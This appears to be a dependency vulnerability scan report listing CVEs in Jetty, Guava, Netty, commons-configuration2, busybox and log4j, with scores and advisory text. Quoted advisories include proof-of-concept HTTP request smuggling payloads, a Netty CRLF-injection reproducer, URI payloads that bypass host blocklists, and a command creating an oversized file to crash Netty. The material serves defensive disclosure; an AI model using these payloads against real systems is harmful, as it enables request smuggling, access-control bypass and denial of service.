CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
+ +
Description +
+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+ +medium 4.3: CVE--2023--41900 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.4.21
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score4.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +If a Jetty `OpenIdAuthenticator` uses the optional nested `LoginService`, and that `LoginService` decides to revoke an already authenticated user, then the current request will still treat the user as authenticated. The authentication is then cleared from the session and subsequent requests will not be treated as authenticated. + +So a request on a previously authenticated session could be allowed to bypass authentication after it had been rejected by the `LoginService`. + +
+
+ +low 3.5: CVE--2023--36479 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score3.5
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N
EPSS Score1.383%
EPSS Percentile80th percentile
+ +
Description +
+ +If a user sends a request to a `org.eclipse.jetty.servlets.CGI` Servlet for a binary with a space in its name, the servlet will escape the command by wrapping it in quotation marks. This wrapped command, plus an optional command prefix, will then be executed through a call to Runtime.exec. If the original binary name provided by the user contains a quotation mark followed by a space, the resulting command line will contain multiple tokens instead of one. For example, if a request references a binary called file” name “here, the escaping algorithm will generate the command line string “file” name “here”, which will invoke the binary named file, not the one that the user requested. + +```java +if (execCmd.length() > 0 && execCmd.charAt(0) != '"' && execCmd.contains(" ")) +execCmd = "\"" + execCmd + "\""; +``` + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) + +pkg:maven/com.google.guava/guava@14.0.1
+medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data + + + + + + + + +
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
+ +
Description +
+ +Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. + +
+
+ +medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 io.netty/netty-codec-http 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-http@4.1.96.Final
+medium 6.5: CVE--2025--67735 Improper Neutralization of CRLF Sequences ('CRLF Injection') + + + + + + + + +
Affected range<4.1.129.Final
Fixed version4.1.129.Final
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.050%
EPSS Percentile16th percentile
+ +
Description +
+ +### Summary + +The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. + +### Details + +The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) + +The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. + +### PoC + +Simple reproducer: + +```java +public static void main(String[] args) { + + EmbeddedChannel client = new EmbeddedChannel(); + client.pipeline().addLast(new HttpClientCodec()); + + EmbeddedChannel server = new EmbeddedChannel(); + server.pipeline().addLast(new HttpServerCodec()); + server.pipeline().addLast(new ChannelInboundHandlerAdapter() { + @Override + public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { + System.out.println("Processing msg " + msg); + } + }); + + DefaultHttpRequest request = new DefaultHttpRequest( + HttpVersion.HTTP_1_1, + HttpMethod.GET, + "/s1 HTTP/1.1\r\n" + + "\r\n" + + "POST /s2 HTTP/1.1\r\n" + + "content-length: 11\r\n\r\n" + + "Hello World" + + "GET /s1" + ); + client.writeAndFlush(request); + ByteBuf tmp; + while ((tmp = client.readOutbound()) != null) { + server.writeInbound(tmp); + } +} +``` + +### Impact + +Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. + +
+
+ +medium 5.3: CVE--2024--29025 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range<4.1.108.Final
Fixed version4.1.108.Final
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.261%
EPSS Percentile49th percentile
+ +
Description +
+ +### Summary +The `HttpPostRequestDecoder` can be tricked to accumulate data. I have spotted currently two attack vectors + +### Details +1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the `bodyListHttpData` list. +2. The decoder cumulates bytes in the `undecodedChunk` buffer until it can decode a field, this field can cumulate data without limits + +### PoC + +Here is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder + + +Here is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3 + +### Impact +Any Netty based HTTP server that uses the `HttpPostRequestDecoder` to decode a form. + +
+
+ +low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.027%
EPSS Percentile7th percentile
+ +
Description +
+ +## Summary +A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. + +## Details +When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). + +This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): + +``` +POST /one HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 + +POST /two HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +0 + +``` + +The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). + +## Impact +This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. + +The impact is high, but it only affects setups that use a front-end which: +1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. +2. Forwards chunk extensions without normalization. + +## Disclosure + + - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html + +## Discussion +Discussion for this vulnerability can be found here: + - https://github.com/netty/netty/issues/15522 + - https://github.com/JLLeitschuh/unCVEed/issues/1 + +## Credit + + - Credit to @JeppW for uncovering this vulnerability. + - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 org.apache.commons/commons-configuration2 2.8.0 (maven) + +pkg:maven/org.apache.commons/commons-configuration2@2.8.0
+medium 6.9: CVE--2024--29133 Out-of-bounds Write + + + + + + + + +
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
EPSS Score0.680%
EPSS Percentile71st percentile
+ +
Description +
+ +This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree. +Users are recommended to upgrade to version 2.10.1, which fixes the issue. + +
+
+ +medium 6.5: CVE--2024--29131 Out-of-bounds Write + + + + + + + + +
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.203%
EPSS Percentile42nd percentile
+ +
Description +
+ +This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'. +Users are recommended to upgrade to version 2.10.1, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 io.netty/netty-common 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-common@4.1.96.Final
+medium 5.5: CVE--2025--25193 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.1.118.Final
Fixed version4.1.118.Final
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.063%
EPSS Percentile20th percentile
+ +
Description +
+ +### Summary +An unsafe reading of environment file could potentially cause a denial of service in Netty. +When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. + +### Details +A similar issue was previously reported in https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv +This issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit. + + +### PoC +The PoC is the same as for https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv with the detail that the file should only contain null-bytes; 0x00. +When the null-bytes are encountered by the `InputStreamReader`, it will issue replacement characters in its charset decoding, which will fill up the line-buffer in the `BufferedReader.readLine()`, because the replacement character is not a line-break character. + +### Impact +Impact is the same as https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv + +
+
+ +medium 5.4: CVE--2024--47535 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<=4.1.114.Final
Fixed version4.1.115.Final
CVSS Score5.4
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.198%
EPSS Percentile42nd percentile
+ +
Description +
+ +### Summary + +An unsafe reading of environment file could potentially cause a denial of service in Netty. +When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. + + +### Details + +When the library netty is loaded in a java windows application, the library tries to identify the system environnement in which it is executed. + +At this stage, Netty tries to load both `/etc/os-release` and `/usr/lib/os-release` even though it is in a Windows environment. + +1 + +If netty finds this files, it reads them and loads them into memory. + +By default : + +- The JVM maximum memory size is set to 1 GB, +- A non-privileged user can create a directory at `C:\` and create files within it. + +2 + +3 + +the source code identified : +https://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/internal/PlatformDependent.java + +Despite the implementation of the function `normalizeOs()` the source code not verify the OS before reading `C:\etc\os-release` and `C:\usr\lib\os-release`. + +### PoC + +Create a file larger than 1 GB of data in `C:\etc\os-release` or `C:\usr\lib\os-release` on a Windows environnement and start your Netty application. + +To observe what the application does with the file, the security analyst used "Process Monitor" from the "Windows SysInternals" suite. (https://learn.microsoft.com/en-us/sysinternals/) + +``` +cd C:\etc +fsutil file createnew os-release 3000000000 +``` + +4 + +5 + +The source code used is the Netty website code example : [Echo ‐ the very basic client and server](https://netty.io/4.1/xref/io/netty/example/echo/package-summary.html). + +The vulnerability was tested on the 4.1.112.Final version. + +The security analyst tried the same technique for `C:\proc\sys\net\core\somaxconn` with a lot of values to impact Netty but the only things that works is the "larger than 1 GB file" technique. https://github.com/netty/netty/blob/c0fdb8e9f8f256990e902fcfffbbe10754d0f3dd/common/src/main/java/io/netty/util/NetUtil.java#L186 + +### Impact + +By loading the "file larger than 1 GB" into the memory, the Netty library exceeds the JVM memory limit and causes a crash in the java Windows application. + +This behaviour occurs 100% of the time in both Server mode and Client mode if the large file exists. + +Client mode : + +6 + +Server mode : + +7 + +somaxconn : + +8 + +### Severity + +- Attack vector : "Local" because the attacker needs to be on the system where the Netty application is running. +- Attack complexity : "Low" because the attacker only need to create a massive file (regardless of its contents). +- Privileges required : "Low" because the attacker requires a user account to exploit the vulnerability. +- User intercation : "None" because the administrator don't need to accidentally click anywhere to trigger the vulnerability. Furthermore, the exploitation works with defaults windows/AD settings. +- Scope : "Unchanged" because only Netty is affected by the vulnerability. +- Confidentiality : "None" because no data is exposed through exploiting the vulnerability. +- Integrity : "None" because the explotation of the vulnerability does not allow editing, deleting or adding data elsewhere. +- Availability : "High" because the exploitation of this vulnerability crashes the entire java application. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 org.eclipse.jetty/jetty-http 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.51.v20230217
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+ +medium 5.3: CVE--2023--40167 Improper Handling of Length Parameter Inconsistency + + + + + + + + +
Affected range>=9.0.0
<=9.4.51
Fixed version9.4.52
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
+ +
Description +
+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) + +pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
+medium : CVE--2025--60876 + + + + + + +
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.050%
EPSS Percentile16th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2025--46394 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2024--58251 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.021%
EPSS Percentile5th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) + +pkg:maven/com.google.guava/guava@27.0-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) + +pkg:maven/com.google.guava/guava@30.1.1-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) + +pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
+medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch + + + + + + + + +
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.037%
EPSS Percentile11th percentile
+ +
Description +
+ +The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. + +This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: + + * The attacker is able to intercept or redirect network traffic between the client and the log receiver. + * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). + + +Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. + +As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] 